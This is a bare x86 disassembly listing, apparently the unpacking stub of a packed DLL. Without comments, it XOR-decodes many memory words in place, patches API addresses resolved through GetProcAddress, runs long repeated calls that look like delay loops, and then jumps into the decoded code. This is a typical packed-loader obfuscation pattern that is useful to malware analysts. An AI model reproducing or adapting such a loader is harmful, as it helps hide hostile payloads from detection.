mov eax, dword [0x10107300]
lea ecx, [eax + 0x14cec]
add eax, 0x20d84
xor eax, dword [ecx]
xor eax, 0xdccec148
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
and dword [0x101062e4], ecx
lea ecx, [eax + 0x32d88]
mov ebp, eax
xor ebp, dword [0x10105ab8]
add eax, 0x32fa8
xor eax, dword [ecx]
push 0x10107f3e
push dword [esp + 0x40]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ecc]
add eax, 0x5e038
xor eax, dword [ecx]
xor eax, 0xdcc92cf4
mov dword [ecx], eax
mov ebx, dword [0x10107300]
add ebx, 0x2036c
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
xor eax, 0xcccf982e
mov dword [ebx], eax
mov eax, dword [0x10103e60]
sub dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xec4b]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4831]
add eax, 0x258b4
xor eax, dword [ecx]
xor eax, 0xdcce9478
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12808]
add eax, 0x2023c
xor eax, dword [ecx]
xor eax, 0xdccecef0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x100b4]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xddca]
add eax, 0x24e78
xor eax, dword [ecx]
xor eax, 0xdcce82b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c2a0]
add eax, 0xa5570
xor eax, dword [ecx]
xor eax, 0xdcc699bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b7e]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e8c]
add eax, 0x1f4c0
xor eax, dword [ecx]
xor eax, 0xdccd380c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9b1e]
add eax, 0x27e0c
xor eax, dword [ecx]
xor eax, 0xdcceb2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x101062e4]
push 2
push dword [esp + 0x38]
mov dword [0x10105abc], ecx
mov ecx, dword [0x101062e0]
mov edx, ecx
imul edx, ecx
lea ecx, [eax + 0x33c80]
add eax, 0x1a55e
mov dword [0x10106ae8], edx
xor eax, dword [ecx]
xor eax, 0xdccd6992
mov dword [ecx], eax
mov ebx, dword [0x10107300]
add ebx, 0x20358
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
push 0x10107d22
push dword [esp + 0x28]
xor eax, 0x4cccccce
mov dword [ebx], eax
mov ebx, dword [0x10107300]
add ebx, 0x202e0
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
push 0xc
push dword [esp + 0x38]
xor eax, 0xcccf8316
mov dword [ebx], eax
mov ebx, dword [0x10107300]
add ebx, 0x20330
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
xor eax, 0x4cccccc0
mov dword [ebx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17678]
add eax, 0x231dc
xor eax, dword [ecx]
xor eax, 0xdccefd10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf1bc]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a2c]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48f4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ebx, dword [0x10105abc]
lea ecx, [eax + 0x1788c]
imul ebx, ebx
add eax, 0x178a8
xor eax, dword [ecx]
xor eax, 0xdccdb464
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa412c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3628c]
add eax, 0x232bc
xor eax, dword [ecx]
xor eax, 0xdccefe70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b24]
add eax, 0x42158
xor eax, dword [ecx]
push 0x101073f7
push dword [esp + 0x2c]
xor eax, 0xdcc8ed94
mov dword [ecx], eax
mov eax, dword [0x101062e0]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x195ad]
add eax, 0x1954d
xor eax, dword [ecx]
xor eax, 0xdccd5981
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10105368], eax
lea edi, [eax + 0x20250]
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [edi]
mov edx, 0xdccfacbc
xor eax, 0xcccf86aa
mov dword [edi], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18369]
add eax, 0x36070
xor eax, dword [ecx]
mov edi, 0xdcc69d2c
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc001]
add eax, 0xbc50
xor eax, dword [ecx]
xor eax, 0xdccc709c
mov dword [ecx], eax
mov eax, ebx
and eax, 0x525d54b9
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32984]
add eax, 0x13d30
xor eax, dword [ecx]
xor eax, 0xdccdf1fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1801b]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x364a8]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a84c]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8f53]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a04]
add eax, 0x28048
xor eax, dword [ecx]
xor eax, 0xdcce4c84
mov dword [ecx], eax
mov eax, dword [0x101062e0]
or eax, ebp
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0b9]
add eax, 0xa5300
xor eax, dword [ecx]
xor eax, 0xdcc69fcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + ebx]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x36040]
add eax, 0x231b8
xor eax, dword [ecx]
xor eax, 0xdccefd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9878]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13d8e]
add eax, 0x20300
xor eax, dword [ecx]
xor eax, 0xdccecfcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf4f7]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1fb3]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ff0]
add eax, 0x26d88
xor eax, dword [ecx]
xor eax, 0xdccea144
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33860]
add eax, 0x3386c
xor eax, dword [ecx]
xor eax, 0xdccff4a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc156]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3a45]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33be4]
add eax, 0x18303
xor eax, dword [ecx]
xor eax, 0xdccd4fcf
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32894]
add eax, 0x334cc
xor eax, dword [ecx]
xor eax, 0xdccff800
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15984]
add eax, 0x156a5
xor eax, dword [ecx]
xor eax, 0xdccd9a69
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xce69]
add eax, 0x28e94
xor eax, dword [ecx]
xor eax, 0xdcce4258
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x101062e0], eax
lea ecx, [eax + 0xa4214]
add eax, 0x7eff8
xor eax, dword [ecx]
xor eax, 0xdccb2334
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7a43]
add eax, 0x1f46e
xor eax, dword [ecx]
xor eax, 0xdccd38a2
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x101062e0]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xb21a]
add eax, 0x7de0
xor eax, dword [ecx]
xor eax, 0xdcccb12c
mov dword [ecx], eax
mov eax, dword [0x10105368]
add dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12689]
add eax, 0x32708
xor eax, dword [ecx]
xor eax, 0xdccfebc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x342a0]
add eax, 0x1f7b0
xor eax, dword [ecx]
xor eax, 0xdccd3b7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43dc]
add eax, 0x85eb0
xor eax, dword [ecx]
xor eax, 0xdcc4927c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d326]
add eax, 0x201f8
xor eax, dword [ecx]
xor eax, 0xdccecd34
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
or eax, ebp
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42ec]
add eax, 0x82920
xor eax, dword [ecx]
xor eax, 0xdcc4e5ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32980]
add eax, 0x13c30
xor eax, dword [ecx]
xor eax, 0xdccdf0fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2f8a]
add eax, 0x254fc
xor eax, dword [ecx]
xor eax, 0xdcce9830
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e39]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11073]
add eax, 0x20170
xor eax, dword [ecx]
xor eax, 0xdccecdbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x43d8]
add eax, 0x20360
xor eax, dword [ecx]
xor eax, 0xdccecfac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x174f6]
add eax, 0xa90f8
xor eax, dword [ecx]
xor eax, 0xdcc65c34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33264]
add eax, 0x36fa4
xor eax, dword [ecx]
xor eax, 0xdccfa368
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0xe96c]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140eb]
add eax, 0xa5aa4
xor eax, dword [ecx]
xor eax, 0xdcc69668
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25738]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x107eb]
add eax, 0x200a8
xor eax, dword [ecx]
xor eax, 0xdccecc64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332fc]
add eax, 0x32d90
xor eax, dword [ecx]
xor eax, 0xdccfe15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ac4]
add eax, 0x3f2b8
xor eax, dword [ecx]
xor eax, 0xdccf3e74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b50]
add eax, 0x24908
xor eax, dword [ecx]
xor eax, 0xdcce85c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42d4]
add eax, 0x82308
xor eax, dword [ecx]
xor eax, 0xdcc4efc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbdf0]
add eax, 0x2027c
xor eax, dword [ecx]
xor eax, 0xdcceceb0
mov dword [ecx], eax
mov ebx, 0xc48
push dword [0x10107300]
push dword [0x10105368]
push ebp
push section..data
call fcn.1001555e
dec ebx
jne 0x100409a6
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b1c]
add eax, 0x24980
xor eax, dword [ecx]
xor eax, 0xdcce854c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b04c]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33448]
add eax, 0x333ec
xor eax, dword [ecx]
xor eax, 0xdccfff20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32da8]
add eax, 0x32dac
xor eax, dword [ecx]
xor eax, 0xdccfe160
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc3e9]
add eax, 0x288b4
xor eax, dword [ecx]
xor eax, 0xdcce4478
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c677]
add eax, 0x201b4
xor eax, dword [ecx]
xor eax, 0xdccecd78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193fa]
add eax, 0xa90f4
xor eax, dword [ecx]
xor eax, 0xdcc65c38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd08]
add eax, 0x1cd30
xor eax, dword [ecx]
xor eax, 0xdccd01fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105368]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x339bc]
add eax, 0x33988
xor eax, dword [ecx]
xor eax, 0xdccff544
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b1]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cd8]
add eax, 0x32cdc
xor eax, dword [ecx]
xor eax, 0xdccfe010
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc61]
mov edi, eax
and edi, dword [0x10103e60]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e80]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f58]
add eax, 0x7ee5
xor eax, dword [ecx]
push 0x10107395
xor eax, 0xdcccb229
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34408]
add eax, 0x343e4
xor eax, dword [ecx]
push dword [esp + 0x3c]
xor eax, 0xdccf8f28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2b72]
add eax, 0xa8b18
xor eax, dword [ecx]
xor eax, 0xdcc647d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105abc]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x176a5]
add eax, 0x231dc
xor eax, dword [ecx]
xor eax, 0xdccefd10
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10103e64]
add ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xb58a]
add eax, 0xa5a24
xor eax, dword [ecx]
xor eax, 0xdcc696e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2eed]
add eax, 0x23068
xor eax, dword [ecx]
xor eax, 0xdccefca4
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, dword [0x10106ae8]
mov esi, dword [0x10107300]
mov dword [0x101062e0], eax
add esi, 0x20310
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [esi]
xor eax, 0xcccf8524
mov dword [esi], eax
mov eax, dword [0x101062e4]
xor eax, 0x5f7ef5b
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25edc]
add eax, 0x2d40
xor eax, dword [ecx]
mov esi, 0x335
xor eax, 0xdccce18c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105368]
push section..data
call fcn.1001555e
dec esi
jne 0x10040c27
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11720]
add eax, 0x323f4
xor eax, dword [ecx]
xor eax, 0xdccfef38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19687]
add eax, 0xa8fe0
xor eax, dword [ecx]
xor eax, 0xdcc6432c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338e8]
add eax, 0x338ec
xor eax, dword [ecx]
xor eax, 0xdccff420
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3449c]
add eax, 0x33af8
xor eax, dword [ecx]
xor eax, 0xdccff634
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24014]
mov esi, eax
imul esi, dword [0x10106ae8]
add eax, 0x23eb0
xor eax, dword [ecx]
xor eax, 0xdccef27c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeabc]
add eax, 0x2900c
xor eax, dword [ecx]
xor eax, 0xdcce5cc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19936]
add eax, 0xa4f5c
xor eax, dword [ecx]
xor eax, 0xdcc68390
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10162]
add eax, 0x32334
xor eax, dword [ecx]
xor eax, 0xdccfeff8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18382]
add eax, 0x23230
xor eax, dword [ecx]
xor eax, 0xdccefefc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x238f0]
add eax, 0xa51e8
xor eax, dword [ecx]
xor eax, 0xdcc69d24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce9c]
add eax, 0x1cec4
xor eax, dword [ecx]
xor eax, 0xdccd0208
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a959]
add eax, 0x20074
xor eax, dword [ecx]
xor eax, 0xdcceccb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa452c]
add eax, 0x8d338
xor eax, dword [ecx]
xor eax, 0xdcc41ff4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb41d]
add eax, 0x20140
xor eax, dword [ecx]
push 0x10107c5a
push dword [esp + 0x28]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
mov ebp, dword [0x10107300]
add eax, 0xe07eae74
mov dword [0x101062e4], eax
mov dword [0x101062e0], 0xc5d7bbf3
add ebp, 0x202a8
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebp]
mov ebx, 0x1fcd
xor eax, 0xcccf9c14
mov dword [ebp], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2c61]
add eax, 0x20080
xor eax, dword [ecx]
mov ebp, 0xdcc6961c
xor eax, 0xdccecc4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x75a6]
add eax, 0x27ad8
xor eax, dword [ecx]
xor eax, 0xdcceb614
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3709c]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, esi
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x3aee]
add eax, 0x2554c
xor eax, dword [ecx]
xor eax, 0xdcce9980
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x92ef]
add eax, 0x27d14
xor eax, dword [ecx]
xor eax, 0xdcceb1d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11159]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa74a]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fcc]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329b8]
add eax, 0x13640
xor eax, dword [ecx]
xor eax, 0xdccdfa8c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push esi
push section..data
call fcn.1001555e
dec ebx
jne 0x10040edd
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48ec]
add eax, 0xa26c0
xor eax, dword [ecx]
push 0x10107dab
push dword [esp + 0x54]
xor eax, 0xdcc6ea0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa738]
add eax, 0xa7b14
xor eax, dword [ecx]
xor eax, 0xdcc6b7d8
mov dword [ecx], eax
mov ebx, dword [0x10107300]
add ebx, 0x20048
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
push 0x10107ecf
push dword [esp + 0x30]
xor eax, 0xcccf9e14
mov dword [ebx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3713c]
add eax, 0x2a860
xor eax, dword [ecx]
xor eax, 0xdcce64ac
mov dword [ecx], eax
mov ebx, dword [0x10107300]
add ebx, 0x20238
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
xor eax, 0xcccf989e
mov dword [ebx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c18]
add eax, 0x27494
xor eax, dword [ecx]
xor eax, 0xdcceb858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c97]
add eax, 0xa4f34
xor eax, dword [ecx]
xor eax, 0xdcc683f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a30]
add eax, 0x3358c
xor eax, dword [ecx]
xor eax, 0xdccff940
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3317c]
add eax, 0x33054
xor eax, dword [ecx]
xor eax, 0xdccffc98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ad8]
add eax, 0x33af8
xor eax, dword [ecx]
xor eax, 0xdccff634
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10105abc], 0
mov ecx, eax
and ecx, dword [0x10105ab8]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x36a84]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0xe2e320d2
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x33778]
add eax, 0x3377c
xor eax, dword [ecx]
xor eax, 0xdccffbb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bfec]
add eax, 0x36318
xor eax, dword [ecx]
xor eax, 0xdccfafd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa150]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b50]
add eax, 0x17abb
xor eax, dword [ecx]
xor eax, 0xdccdb677
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b09d]
add eax, 0xa52d8
xor eax, dword [ecx]
xor eax, 0xdcc69e14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x464b]
add eax, 0x2023c
xor eax, dword [ecx]
xor eax, 0xdccecef0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa449c]
add eax, 0x88df0
xor eax, dword [ecx]
xor eax, 0xdcc4413c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x276a]
add eax, 0x202b0
xor eax, dword [ecx]
xor eax, 0xdccece7c
mov dword [ecx], eax
mov eax, edi
and eax, 0xff842b48
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd04c]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x180d8]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d39b]
add eax, 0x201f4
xor eax, dword [ecx]
xor eax, 0xdccecd38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2528c]
add eax, 0x32c90
xor eax, dword [ecx]
xor eax, 0xdccfe05c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f78]
add eax, 0x26ec4
xor eax, dword [ecx]
xor eax, 0xdccea208
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370d0]
add eax, 0x31aa0
xor eax, dword [ecx]
xor eax, 0xdccfd66c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329cc]
add eax, 0x13ca0
xor eax, dword [ecx]
add esi, 0xd84c9f5d
xor eax, 0xdccdf06c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240a4]
add eax, 0x23cb4
xor eax, dword [ecx]
push 0
xor eax, 0xdccef078
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad3d]
add eax, 0xa5ad0
mov dword [0x10105ab8], esi
xor eax, dword [ecx]
push 1
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + edi]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x34174]
add eax, 0x1f6b0
xor eax, dword [ecx]
xor eax, 0xdccd3a7c
mov dword [ecx], eax
mov ecx, dword [0x10105368]
mov eax, 0xe368c4c0
sub eax, dword [0x10106ae8]
or ecx, eax
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
push eax
add eax, 0x176e4
mov dword [0x10105ab8], ecx
call eax
mov esi, dword [0x10107300]
push 0x10107547
push dword [esp + 0x4c]
add esi, 0xa8b0
call sub.KERNEL32.dll_GetProcAddress
push 0x400
lea ecx, [esp + 0x58]
push ecx
push dword [esp + 0x460]
call eax
lea eax, [esp + 0x54]
push eax
call esi
push dword [0x10105ac3]
mov eax, dword [0x10107300]
push 0x10105a93
push 0x10105ed3
add eax, 0xa750
call eax
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x444
ret